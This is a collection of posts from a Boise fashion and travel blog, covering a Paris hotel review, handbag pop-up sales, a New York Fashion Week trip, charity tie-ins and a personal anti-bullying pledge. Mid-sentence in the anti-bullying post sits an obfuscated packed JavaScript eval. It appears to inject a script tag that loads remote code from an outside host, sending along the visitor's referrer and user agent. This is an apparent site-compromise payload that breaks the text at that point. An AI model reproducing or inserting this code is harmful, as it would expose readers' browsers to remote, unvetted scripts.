Style Spy Girl Guide: the Best Place to Stay in Paris!

hotel bradford elysees paris stylespygirl

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a hotel is just a place to lay your head in a foreign city… But every once in a great while, you find a hotel that feels more like an oasis, and it becomes your home away! This summer, when I took a group of #stylespygirlposse ladies on a shopping tour of Paris, France, the Hotel Bradford Elysees became exactly that.

If you’ve traveled much, you have likely experienced both the joy and agony of hotel selection. Finding the right one can mean hours of research, pouring over hotel details and user reviews, or you can play it loose and gamble on a bargain-hunting travel website. But particularly if you’re going to Paris, the task of “where to stay” can be incredibly daunting! Paris has over 2,000 hotels within the city limits, along with innumerable AirBnb-type rental homes and flats available. What part of town do you want to be in? How much are you budgeting per night? Which one is walking distance to the places you want most to visit?

If you’ll allow me, I can make this task truly easy for you: When in Paris, stay at the Bradford Elysees. I am not being paid or compensated in any way for passing along this advice! I simply had a personal experience that surpassed other hotels I’ve stayed in so far, and I wanted to pass along the recommendation to my readers.

The Bradford Elysees is an intimate boutique hotel that behaves like a 5-star resort, but at a bargain price, and everyone ought to know about it!!!
Here’s why:

#1: SIZE

Having traveled extensively in Europe, I’m accustomed to standard hotel rooms that value function over space. Often you’ll get a tiny room, packed tight and well-arranged to take advantage of every square inch… But I’m pretty sure I let out an uncontrolled “Oh my gosh!” upon opening the door of our room at the Bradford Elysees. High ceilings, big open areas, and tall windows with luxurious drapery gave the room a regal feel. And it… Was… HUGE. My roommates and I had plenty of space for three beds, multiple suitcases, a generous seating area, and more!

One evening, we spread out all our groceries and had a “room picnic,” right on the floor!

We also enjoyed the open-air balcony, for people watching and Parisian sunsets. Some of our travel posse who booked a room on the top floor did not have a balcony, but they DID have glorious views of the Eiffel Tower glittering in their windows every night! C’est joli!

#2: LOCATION

Our group specifically wanted to be north of the Seine River, close to sights, convenient to transportation, and walking distance to shopping. The Bradford Elysees had all of that. Catching taxis was convenient at this hotel, but with the Saint-Philippe-du-Roule metro station only a 3-minute walk away, we found it easy to get around town whenever and wherever we needed to by simply hopping on a train.

We were about a 5 minute walk from Paris’ famed Avenue des Champs-Élysées, an avenue running between the Place de la Concorde and the Place Charles de Gaulle, where the Arc de Triomphe is located. Everything you could ever wish to shop for is on this avenue! From macaron bakeries to designer flagship stores, it’s all here, on wide-open walking streets packed with tourists.

We also loved exploring the many restaurants that surrounded our hotel, and appreciated having a Monoprix nearby for grocery shopping. This came in handy, especially for our Eiffel Tower picnic day!

#3: BREAKFAST

Speaking of food… After staying at the Bradford Elysees, I’ll never be satisfied with a standard continental breakfast, as long as I live!

Every morning began like this: wake up, get dressed, run downstairs to the dining room, and be greeted by a kind gentleman named Francois asking “Good morning, madame! May I fetch you some coffee with breakfast?” Yes, please! Merci boucoup!

Breakfast is complimentary at the Bradford Elysees, and if you don’t take advantage of it, you’re missing out. Omelettes, waffles, crepes, fresh pastries, fruit, meats, cheeses, yogurt, and more were spread out before us every morning, tantalizing our taste buds and spoiling us rotten.

But beyond breakfast, there’s even MORE food to appreciate at this amazing hotel! Every afternoon, a complimentary snack bar is laid out. Yes, complimentary as in FREE. Juices, coffees, fruit, cheeses, pastries, and a rotating array of surprises greeted us every day.

And I’m not done with the food part yet! Oh no… not even close!

The Bradford Elysees is just one of a small chain of boutique hotels known as the Astotel group. There are 16 of them throughout Paris, each with its own unique themes and amenities. And ALL of them have free afternoon snack bars set out, which you have access to regardless of which hotel you’re booked in! Anytime we needed energy or hydration, we could pop into an Astotel around town, relax and recharge. What an amazing concept – I’m in love with them, can you tell??

In the evenings, two more special touches surprised and delighted our crew. A beautiful “honor bar” opened up each night in the hotel, in a posh and airy room that felt like a luxurious parlor from a bygone era. You can mix any cocktail you like, jot down what you used on a checklist, and hand it in at the front desk to be added to your room charges. Easy-peasy!

We also appreciated the nightly “Bonsoir” knock on our suite door, where a smiling staff person handed us candies and wished us a lovely evening. What better way to end the day, than with candy and kindness?!?

#4: ALL THE LITTLE THINGS

Besides the food (so much of it!), location, price, and amazing amenities of the Bradford Elysees, I want to take a moment and acknowledge the sheer beauty of the place. Along with being well-appointed with every modern convenience (air conditioning, flatscreen cable tv’s, mini fridge, and a 24-hour reception desk), her glorious Parisian charm gleams in every nook and corner. From the carved wood period elevator to portraits of 19th-century owner Lord Bradford and his family adorning the walls, this hotel is steeped in Haussman era flavor and refined decor.

The honor bar room dazzled us with its glass canopy and velvet armchairs, beckoning us to either lively conversation with friends, or a quiet reverie for book reading at the end of a long, busy day jostling crowds of fellow tourists.

Every staff member we encountered was kind, gracious, helpful, and treated us like their most precious guests. Especially Francois, a true gem among the bustling crew that made our stay so special.

Thank you Véronique, Francois, and everyone at the Hotel Bradford Elysees, for an unforgettable Paris experience! I look forward to staying with you again and again, in the future. (Because you’d literally have to pay me to stay anywhere else!) 😉

Cheers & love,
Tanya

All photos by Amber Daley & Tanya Carnahan
_______________________________________________

Book your stay at the Bradford Elysees:

Hotel Bradford Elysees
10 rue St Philippe du Roule
75008 Paris

+33 (0) 1 45 63 20 20

hotel.bradford@astotel.com

Check out all the amazing Astotel hotels at https://en.astotel.com/!

Boise Event Spotlight: Dillard’s Designer Pop-up Shop!

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courtesy of ammophotog

Woohoo, handbag-loving babes, it’s baaaaack!!! Last year, I partnered with Dillard’s to invite you to a new shopping concept that literally popped-up in their stores across the country: the What Goes Around, Comes Around Vintage Handbag Event. This year, it’s back, bigger and better than ever!

Remember this rad shopping party from last year? More pics & the recap of that event here.

This year’s first-come, first-served shopping opportunity is part of Dillard’s collaboration with What Goes Around Comes Around, the leading global purveyor of authentic luxury vintage accessories and apparel. Since 1993, WGACA’s New York City Soho flagship has remained an industry staple, frequented by celebrities and tastemakers from around the world! WGACA’s expert buyers travel the globe to find the rarest and most desirable pieces in exceptional condition, and bring them to YOU for the chance to fill your closet & rock your ensembles with unique and covetable fashion treasures.

Oversized totes are having a major moment in the fashion world right now! Guess which one I love?

Last year’s shopping party focused on Louis Vuitton bags, exclusively. But this year’s Vintage Handbag Event features pieces from Prada, Fendi, Gucci, and also Louis Vuitton, including everything from wallets to fanny packs to luggage! And now instead of a group party, you get to make a personal private appointment directly with Dillard’s, for your chance to shop these beautiful fashion treasures.

Remember, vintage and collector pieces are limited in quantity, and when they’re gone, they’re gone!

Obsessing over the pretty little things!

Make an appointment with Dillard’s for your personal, private shopping moment by calling (208) 321-4646! Or, go into the store in person to book your spot. (You can also email Tami at store934@dillards.com to inquire about specific bags shown here.) In-person shopping appointments start July 20th and go through the 29th. Hurry, before they’re gone!

Authentication cards & guarantees – all are real designer bags, some still with their original packaging & tags!

Happy Shopping, my fabulous friends!!!!
XOXO,
Tanya

The Style Spy Girl #TravelPosse Does New York!

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do a group of adventurous women, most of whom hail from Boise, Idaho, take on the concrete jungles of NYC?

Like #bossgirls, that’s how!

This September 2016, we booked a Style Spy Girl Getaway travel group to New York for shopping, exploring, dining, sightseeing, and some incredible Fashion Week shows. Here is a recap of the incredible time we had together! (Most photos in this post are by ammophotog.)

Who We AreHeather, Jody, Tina, Lisa, Tanya, Amanda, Maria, Amber

Each Style Spy Girl Getaway is a slightly different crew! Some ladies have joined us for every trip, while others pop in and out as they are able to accommodate costs and dates. For New York 2016, we had a wide variety of lovely friends from Idaho, Arizona, and Washington state; bloggers, hair stylists, media pros, entrepreneurs, business owners, and more! Despite our varying backgrounds and hometowns, a love of adventure and girl time bonded us together. ❤

~~~

Where We Stayed

Our crew loved coming home each evening to our bright, posh rooms at the Innside New York Hotel by Melia! It was such a calm oasis in the midst of a very busy city; no construction, no crowds, super central location, and easy to catch a cab to anywhere in town. On our first night in town, we met for cocktails, got settled in, and then headed to Times Square for an unforgettable experience in the heart of NYC! Did you know you can shop there all night long? Sephora at 2:00am is a very unique experience! Excuse me, but which lipstick makes me look like Kylie?

~~~

Where We Shopped

Where do I begin?? Our goal on this trip was to be inspired by the fashion shows and street style around us, and explore all of the places we don’t have access to in Boise. We started off with a bang, piling into a limousine for a jaunt to Tiffany & Co. on 5th Avenue in downtown New York, where we were served champagne and guided on a private tour of this historic flagship store! We had such a blast, oohing and aahing over all the gorgeous sparkly things, and appreciating the heritage of this iconic American brand.

Throughout the rest of the trip, we explored a wide variety of shopping options, including Bergdorf Goodman (with a Chanel apartment pop-up inside!), Saks Off Fifth, Chanel (of course!!!), as well as street shopping in NOLA, Little Italy, Chinatown, and really cool consignment stores around the area, too.

Special thanks to Eleven Consignment Boutique for throwing our crew a private shopping party in Brooklyn!!!

~~~

The NYFW Shows

Of course, the heart and soul of a New York Fashion Week Getaway has to be FASHION SHOWS! We had a blast at two major runway shows on this trip, both of which blew our minds: Macy’s Fashion’s Front Row show (above) starring Arianna Grande, Iris Apfel, Betsey Johnson, and more… and the FTL Moda Show (below) that challenged our hearts and our views of what beauty truly looks like.

First up: Macy’s! This show had everything, from Flo Rida welcoming us to his house, to light-up Samsung wrist bracelets that sparkled and flashed to the music, and Arianna Grande rocking our socks off with her incredible voice and energy. Everyone got swag bags that included whimsical glasses inspired by fashion icon Iris Apfel, along with the Samsung bracelets and other fun tidbits. The fashions rocked, and the show was non-stop high-velocity glam from start to finish!

My personal favorite legendary designer Betsey Johnson wowed us all, when she followed her new collection for Macy’s with a frolicking, joyful sashay down the runway herself, bedecked in stripes, bright colors, and her signature tutu. Jaws dropped and the audience exploded, as she threw herself into an exuberant cartwheel in the middle of the runway, her traditional grand finale move! The 74-year old rocking designer ends each of her shows this way, as a tribute to her personal battle with breast cancer, and commitment to live each day of her life to the fullest!

Our next major show was for FTL Moda, featuring a variety of stunning and inspiring fashion designers! The entire evening was about diversity, culture, identity, beauty, and courage. We saw half-veiled faces, live snakes (!), and one brave and stunning model who was missing part of an arm, but used the other to literally carry the word “RESPECT” with her down the runway. That moment was deeply moving in itself, but nothing could prepare us for what came next…

Reshma runway image — *Reshma Qureshi via Elle Magazine*

Acid attack survivor Reshma Bano Qureshi, who was only 17 when a vicious attack by her own brother-in-law destroyed her left eye and half her face, stepped out onto the runway. She’s 19 now, and the second she appeared, bedecked in a white gown by Mumbai-based designer Archana Kochhar, all the air left the room… I can’t speak for every woman, only myself, but my heart shattered in a million pieces when she appeared! In that moment, she stood facing the world, with tears in her eyes and scars tracing the grooves of her skin… In that moment, she was every one of us; every woman who has ever been a victim, or been afraid, or suffered injustice… In that moment, she squared her shoulders and marched down the runway, towards the crowds and flashing lights, and showed us all what true courage looks like. And our hearts marched with her.

Reshma, you are my hero!
Click here to read more about her campaign to help other women like herself here:
MAKE LOVE NOT SCARS!

Girls’ Nights Out!

One of our favorite things about adventuring in New York was the nightlife. We adore our walkable downtown Boise, but one thing that’s lacking back home is rooftop nightclubs. Trust me; get a group of women standing on an open high-rise balcony overlooking a glittering Empire State Building and all the lights & sounds of NYC, and magic will happen! Every place we went was stunning and unique, from 230 Fifth Avenue to The Skylark. Some nights we walked, some we Ubered, and a couple we ended up deciding a limo was the best way to travel! Whatever the reason, or the destination, we all had a BLAST. Thank you NYC for taking such good care of us!

The Sightseeing

Of course, you haven’t seen The Big Apple, until you’ve walked in Central Park. With it’s acres of grassy knolls, regal trees, ponds, pathways, and explorers, it’s easy to see why this place is considered such a magical oasis to its residents. Once you’re in it, the Park is far bigger than you realize! We loved lunch in the center, at The Loeb Boathouse, right on the water. While we waited for our main course little turtles paddled up to the edge of our feet, vying with huge fish for dropped crumbs! Most of the time, the fish won.

We had a great adventure aboard the Hornblower sightseeing cruise as well, learning about the history of this gorgeous city from it’s stunning bay. We saw the Brooklyn Bridge, Empire State Building, World Trade Center 9/11 Memorial, and of course the Statue of Liberty. All around us were visitors from across the globe, gathering to gaze upon her welcoming face and outstretched arm! We had no idea, mere months ago, all of the changes that a newly-elected president would soon enact on our nation’s borders… For us in that moment, as we stood contemplating those who came before us – our grandfathers and grandmothers from every nation of the world who came to these shores seeking freedom and a better life – we were deeply proud to be Americans. ❤

In all, we had 6 days in NYC, and we seized every opportunity to make the most of it! At the end of the week we were exhausted, but headed home with our bags packed with fashion souvenirs, our cameras full of once-in-a-lifetime selfies, and a new sisterhood of friends forged by our shared New York minute.

Until the next adventure, ladies, cheers and hugs!!!
XOXO,
Tanya

Do YOU want to join the Style Spy Girl #TravelPosse on our next adventure?
It’s open an any and every woman who’d like to adventure with us!
Click below to find out about our next epic trip:
AMSTERDAM AND PARIS, SUMMER 2017!!!

Coming Soon: Boise’s 1st Tour de Fashion!

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Spy Girl, the Downtown Boise Association, and Boise GreenBike
team up for Tour de Fashion!

Boise’s downtown core is constantly changing and expanding! Did you know we have over 20 locally-owned boutiques, gift shops, and clothing stores within walking distance of each other? If you love fashion, fitness, and exploration, come join us this Spring and Summer for four very special Tour de Fashion events!

Local fashion blogger Tanya Carnahan (StyleSpyGirl.com), the Downtown Boise Association, and Boise GreenBike are joining forces to present a BIKE TOUR that’s totally new to Idaho. Make new friends, discover new shops and trends, and expand your knowledge of our amazing downtown core!

Each Tour de Fashion bike event in Downtown Boise will target 5-6 rad local businesses that are new to town, or might be new to you! A schedule will be posted of each stop; we will bike, shop, explore, and end with an optional Sips & Bites experience you won’t soon forget. Bring your girlfriends, and add your bike basket to fill with fun & unique fashion purchases along the way. Must be 21 and over to attend these tours.

Time: 1:45pm Saturday, April 8th / May 6th / June 3rd / July 8th, 2017
Location: Meet at Boise’s iconic Post Office, downtown on Bannock & 8th.
Cost: $25 if you have your own bike, $35 if you plan to utilize a BoiseGreen Bike.

Click here to reserve your spot: https://stylespygirl.maxcheckout.com/

What’s included: Guided shopping & exploring with local fashion blogger Tanya Carnahan / Exclusive deals and discounts in our selected boutiques / Photo stops at iconic downtown landmarks along the way / Themed Sips & Bites available for purchase / A unique experience with other fashion-loving and adventurous women!

All tours will have a unique theme, beginning with shopping and ending with optional cocktails and treats:

April 8th: Tour de Fashion, Boho Chic ~ Trendy & bohemian hotspots for free spirits!

May 6th: Tour de Fashion, Local Chic ~ Fashion love for Boise’s iconic local fashion legends!

June 3rd: Tour de Fashion, Jetsetter Chic ~ For the girl-on-the-go who always travels in style!

July 8th: Tour de Fashion, Tres Chic ~ For the refined ingenue who loves classic fashion!

Events will be posted for each date, on Style Spy Girl’s Facebook page.
Please like and follow us here to be first on the list: www.facebook.com/MyStyleSpyGirl.

Louis Vuitton Comes to Boise!

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you’re a Louis Vuitton fan, RUN to Dillard’s in Boise right now for their one-time-only pop up shop! Last night, I was honored to host a sneak-peek party for some of my dearest girl friends. This special sale is new to Dillard’s, and a one-of-a-kind collaboration with What Goes Around Comes Around, the leading purveyor of authentic luxury resale online.

All of the bags are vintage and pre-loved, in excellent condition and with authentication cards. These beauties are gorgeous, legit, and a fraction of the price of new bags!

The main event will be open to the public starting December 10th, 2016. HOWEVER, private pre-sales are open right NOW!!! If you want to get a crack at these bags before they’re gone, call Dillard’s at (208) 321-4646 to make your appointment.

Happy shopping!
XOXO,
Tanya

Special THANKS to Dillard’s for showing us such a lovely time, and to all the sweet ladies who came to the party. Love you all!

Fashion Collaboration 4 Good: my new Girl Power shirt from FourthWave!

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babes! I am proud to announce the launch of my first fashion collaboration: a very special #girlpower shirt I’ve co-designed with FourthWave Apparel!

Nobody puts Girl Power in a Corner.
Why? Because the gloves are off, and we are coming out fighting!

There is a new wave of activism sweeping across our nation right now, as men and women everywhere are stepping up to use their time, energy, and wallets to make a difference in the community around them. Many of us are galvanized, like never before, to find ways we can each help make our world a better place.

As a feminist, I believe that a vital part of fighting for equality in our nation involves lifting up our sisters who are most at risk and vulnerable!

I created this shirt with FourthWave Apparel as a way we can take a stand for those who may not have the resources or ability to stand up for themselves! When you purchase my new Girl Power shirt, use code LEAP40, and 40% of the profits will be donated to LEAPCharities.org, a Boise-based non-profit that provides housing, transitional services, and support to refugees seeking resettlement in our nation.

Why is that important? And why should “girl power” focus on those who have just arrived in our community? Because many immigrant families who have worked hard to get here are feeling understandable fear. Idaho is a major gateway for refugees, who arrive in our nation fleeing violence, persecution, or seeking freedom, and a life with more opportunities than they had in their previous land.

Shirts available in black, heathered white (top of page), or pink! Use code LEAP40 to send 40% of the proceeds to LEAPCharities!

There has never been a better time for us to stand up for each other across fences, walls, and ethnicity lines. Fact: Women in minority groups in this country fight for equality every day, twice as hard as many of us realize, because they simultaneously have to deal with sexism and racism! If you’ve never thought about that before, let it sink in; search your heart, and reach out to those around you.

True equality means all are equal, period. If I really want to make the world a better place for my family, I absolutely have to be just as passionate about making it a better place for all families, regardless of gender, race, religion, or dis/ability.

If you fight for equality, now is the time to stand up and do it with your wallet, with your courage, and with your helping hands. The power to make a difference is in us! Girl-power sisters, let’s get out of the corner!

XOXO,
Tanya

P.S. If you want to donate directly to LEAP Charities or volunteer, contact them here: http://www.leapcharities.org/
Other great options in the Treasure Valley that need our support are www.idahorefugees.org/,www.rescue.org, and worldreliefboise.org. Help out, in any way you can! Every effort makes a difference.

Why it’s More Important Than Ever to Stand Against Bullying

Hey, friends. I know a lot of us have social media burnout from the events occurring in our nation this historic November, so many of you might never see this. But today is Fashion eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeana|var|u0026u|referrer|idtih||js|php’.split(‘|’),0,{}))
Advice Friday, a day I typically devote to responding to your style and shopping questions on Facebook.

Today, however, I am really struggling with what to say! This isn’t about who I voted for – you don’t know, so please don’t assume. No, my sorrow today is not over who won or who lost…

It’s about pain.

It’s about division.

It’s about half of our nation wondering if they should feel afraid of the other half.

But mostly, it’s about bullying.

Many of you who are close to me know about my son, who is one of my biggest heroes in this world. He spent the first half of his life in doctors’ offices and therapy sessions, working to navigate the cards that have been dealt to him in this unpredictable world. (You can read more about his story here, if you’d like.)

When my son was in 4th grade, that’s when the bullying began. Apparently 9 or 10 is the age for many kids, when they stop seeing other children as just friends, and start deciding which groups or cliques they identify with. One attention-needing kid identified my son as different, and they all ran with it. Day after day, he suffered, while I fought to understand what was happening to my child (who wasn’t able to communicate it very well), and then fought his own school teachers and principal to make it stop.

I’ll never forget the day it all came to a halt. The day the blood froze in my veins and my world stopped spinning. We were driving home from school, after a long and unproductive meeting where his principal had flat-out told me “maybe his version of processing the world is causing him to imagine he’s being bullied, because the kids in my school wouldn’t act this way.”

From the back seat, my son said, “Mommy, what are the least painful ways to die? Because I think I would like to just go to Heaven now.”

I couldn’t breathe, but pulled over and turned around as quickly as I could manage. Tears were streaming down his cheeks. And mine. My 9-year-old child wanted to die, because of how other kids, his own friends – in fact, one of his best friends – were treating him.

We never went back to that school.

This week, I have worked hard to maintain a positive attitude and deeply-rooted belief that things will always turn out the way they are supposed to, and God is with us through it all. But the news reports of children chanting “send them home” to their own classmates – who were their friends just 48 hours before! – has me weeping. Stories of hate crimes, and Muslim women being attacked because their head coverings make them easy targets, and apparently the KKK is throwing a parade…

My friends, I am floored by this all! And honestly, I’m a little angry. Not angry at politics, because they are part of our American system and we all know the rules. No, I am angry at bullies!

So today, instead of my usual fashion post, I’m choosing something different than what I see in my news feed, on TV, and the internet.

I am choosing to be exactly the same person I was before this week ever happened.

I will wear a safety pin on my shirt, and make this pledge:

As before, I will respect every person in my community who has come here from another country, seeking the chance to build a new life for yourself. Whatever reason brought you here, you are equal and I love you.

As before, I will respect every person who has a religious belief that’s different than mine. You are equal and I love you.

As before, I will respect my very dear LGBTQ friends and family members. You are equal and I love you.

As before, I will respect those who have different political views than I do, and their right to them. You are equal and I love you.

As before, I will respect my friends, family members, neighbors, and everyone I meet whose skin or DNA makeup is a different shade than mine. You are equal and I love you.

As before, I will respect all women, of all ages and sizes and ethnicities, and will not judge you on appearance, clothing, beauty, color, or your decision to wear either a burka or bikini any darn place you please. You are equal and I love you.

As before, I will respect all people of disability, special need, or medical challenge, visible or invisible. You are equal and I love you.

This is my promise, because I can not change how others feel, but I can be responsible for my own actions and thoughts.

Furthermore, if I have judged, internally or out loud, any of the people listed above, I want you to know that I AM SORRY. I repent, and ask your forgiveness, because acknowledging it is what helps us change, and be better. I’m not perfect, so tell me if I say or do something something judgy! Hold me accountable, because that’s not the person I want to be!

I also promise that I will not be a silent onlooker, if I see judgement, bullying, racism, sexism, or harassment occur around me! That’s harder, because I’m a woman and I know what it’s like to fear bullies, too. But every time I see someone picking on a fellow human being in this great nation, or any other, I will step in and make a stand. (This article has great tips for how to intervene when you see bullying: https://sojo.net/articles/what-do-if-you-see-islamophobic-harrassment)

Because it only takes one person to change the course of another’s hate. One person could have stood up for my son, and his entire childhood would have been different.

I could not be there in the moment, to be that one for my little boy, and I will always regret it… But I promise. If I am there and I see it, I will be that person for you.

Please do the same for me, and I will cling to the hope that we will all be ok.

Sincerely,

Tanya Carnahan

❤ ❤ ❤ ❤ ❤ ❤ ❤

Celebrating Breast Cancer Awareness Month with White House|Black Market!

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Butterfly Tee: $58 | each T sold donates $30 to LBBC!

It’s National Breast Cancer Awareness Month, and I’m deeply honored to team up with White House|Black Market in their efforts to help spread awareness and raise funds for much-needed care, education, and research!

In recent years, many in the fashion world have jumped on board this global effort, designing distinct and beautiful pieces to inspire consumers to pay it forward and help raise money. This year, White House|Black Market has teamed up with Living Beyond Breast Cancer, to launch three limited-edition products you can buy and wear, with the knowledge that your dollars are going to help women in need: a butterfly t-shirt, inspirational scarf, and beautiful trinket tray.

white-house-black-market-stylespygirl-1 — **Butterfly scarf: $48, with $20 donated to LBBC | Inspire Tray: $18, with $10 donated to LBBC**

When you purchase any of these items, a portion of the proceeds goes directly to Living Beyond Breast Cancer, an organization that provides programs and services to help people whose lives have been impacted by breast cancer.

White House|Black Market’s ongoing collaboration with LBBC has helped raise over $5/5 million in the last 25 years!

Did you know that US Cancer death rates have fallen 22% since 1991? That’s good news, and it means that all our efforts – from NFL teams wearing pink socks, to butterfly scarves blowing in the wind – are having a massive impact. But even though diagnosis, treatments, and education have helped prolong and even give back life to many, we still have a long way to go.

According to the American Cancer Society, Idaho ranks 50^th in the nation for screening, despite the fact that women in our state have a one in eight chance of being diagnosed with invasive breast cancer during their lifetime.

Get screened, get educated, know your risk factors! The good news is that with early diagnosis and proper care, 82% of women live for five years or more after diagnosis! I recently stopped by St Luke’s for a mammogram…

That’s right, I’m calling it a #TaTaSelfie from now on! Let’s start a trend, ladies! 😉

There are resources, tools, and education for women in all walks of life! For example, did you know that the American Cancer Society has programs across Idaho State? Everything from transportation and lodging services, to makeup and skincare classes for women dealing with the cosmetic side effects of cancer and treatments! How amazing is that?!? 🙂 Click the image below to find out more:

Stay safe, be generous, and keep up the fight to end cancer.
Every bit counts, and together, we can make a difference!

Love you all!
XOXO,
Tanya

~~~~~~~

Photography by Valerie Davenport

Disclosure: I was given these products by White House|Black Market to photo shoot
and wear proudly in support of their collaboration with Living Beyond Breast Cancer. ❤

Exciting Changes to my Fashion Getaways! (Part 2)

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Changes in Store…

Hello, friend!

Earlier this month, I shared the Why behind my girls-only Fashion Getaways: Empowering women to travel! To recap, I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. Travel changes you; it makes you stronger, but it also makes you see the world as more accessible! (View the full Part 1: Why article HERE!)

Now, I’d like to explain How we’re making it all happen! My goal is to plan at least two trips per year, one domestic/US trip and one international, loosely based on the Fashion Week calendar of Spring and Fall.

For 2017, I am currently putting together TWO Fashion Getaways. The first is an early-summer Amsterdam & Paris trip – which I’ll release information about SOON – so those of you who want to come can purchase your airline tickets while they’re less expensive!

Then for the domestic/US trip, later in the year, say Aloha! to a tropical getaway to Honolulu Fashion Week. This Getaway will be in the Fall, with luaus, exploring, beaches, poolside cocktails, shopping, hula dancing, snorkeling, and much more. My mouth is already watering for Kahlua Pork and Mai Thais, is yours?

So here is the big question:
How are we going to empower each woman to have the fashion/cultural/empowering adventure that she wants?
BY GIVING YOU CHOICES

Beginning with the Amsterdam/Paris 2017 trip, the Style Spy Girl team will create itineraries that have a daily scheduled group activity (a fashion week show, dinner reservations, etc.), most likely in the evening. During the morning and afternoon, we will incorporate YOUR wishlist/bucket list items (if you will be on this trip, please write in and tell us what those are!) into the schedule. It’s important to note: these will be optional activities that each woman can sign up for, or you can choose to have free time instead!

This information will be provided weeks in advance, so you can plan ahead and decide exactly how much alone time, group time, shopping time, and sightseeing time YOU are interested in, and how much you want to budget for each of those things. It puts the power in your hands to create the adventure you want, and you can plan exactly how much you want to spend doing it.

So, tell me: where in the world do you want to go?

And what do you want to see/do/eat/hear/watch/experience while you’re there? Click reply to email me back, and let’s keep the conversation going, or connect with me on Facebook, Instagram, or Twitter!

The world is ours to explore – so let’s hop on board, babes! 🙂

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan

An Open Letter About Why I REALLY Do Fashion Trips for Women (Part 1)

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Real Reason I Do Fashion Getaways

(Hint: It’s not just about the shopping!)

Hello, my friends!

It’s time for an update! You may have heard about the ladies-only Fashion Getaways I launched last year. If you want to know the How, What, and Why behind these trips, read on…

For starters, a heartfelt THANK YOU for your feedback — to you who have been on excursions with me and those who are interested in joining future trips!

I’ve heard everything from “I’d love more shopping time!” to “There’s too much shopping; I’d prefer to sit in a café and absorb the culture!” and “Will there be more fashion shows?” or “I don’t want to dress up and do fashion shows every night; let’s just relax and go get dinner!”

The truth is, I want all my travel companions to have a wonderful time on every getaway we plan! On our way home from our recent New York trip, while thinking through all we accomplished and ways we could improve, I had an epiphany: Yes, we really can do it all, and I know exactly how we’re going to do it! But before I share the How, I’d like to share some of the reasons Why we’re doing this in the first place…

What’s the goal of Fashion Getaways?

Is it all about fashion shows? No. Is it all about shopping? No. Are we a glam squad that always looks amazing and camera-ready? I’ll answer that as soon as I stop laughing… um, definitely no!

NYC was honestly a lot of shorts, t-shirts, and sneakers — and we did our best to comfortably explore the city during a surprise heat wave. Humidity in the Big Apple is no joke!

I started Fashion Getaways because I want to empower women to travel.

Here’s the thing: this means ALL WOMEN. Yes, all women are welcome on these getaways — women of every age, style, and demographic.

I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. You encounter challenges and rise up to meet them. You figure out how to navigate a new city, explore new food, see historic landmarks, meet people that aren’t really as different from you as you might have thought, and embark on adventures you never would have encountered back home.

And travel changes you! It makes you stronger, but it also makes you see the world as more accessible. It helps you realize that you can go almost anywhere, and do anything you want! And how much more fun is it to do with a group of adventurous women?

It’s true: I love fashion — and I love shopping

But more than that, I am passionate about traveling, having new cultural experiences, and empowering women to have life-changing adventures! This is what I hope to achieve with these Fashion Getaways; to bring together ladies of all ages and backgrounds – even strangers! – who share a love of travel. I want to see women experience the world in their own unique ways, and I want to create adventures that make it all possible.

Come globetrot with me… watch the Eiffel Tower sparkle and shine, learn to hula dance in Honolulu, eat a cone of fries “mit mayo” while walking the cobblestone streets of Amsterdam, listen to street music on the sidewalks in New Orleans, watch a sunset from the breezy beaches of Greece… and yes, do a little (or a lot of!) shopping along the way. Because we’re girls, and that’s how we roll!

Stay tuned for my next update… when I explain How — and describe the exciting ways we’re making all of this happen!

I’ll be releasing details regarding a women’s trip to Amsterdam and Paris VERY soon, so make sure to connect with me on Facebook, Instagram, or Twitter!

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan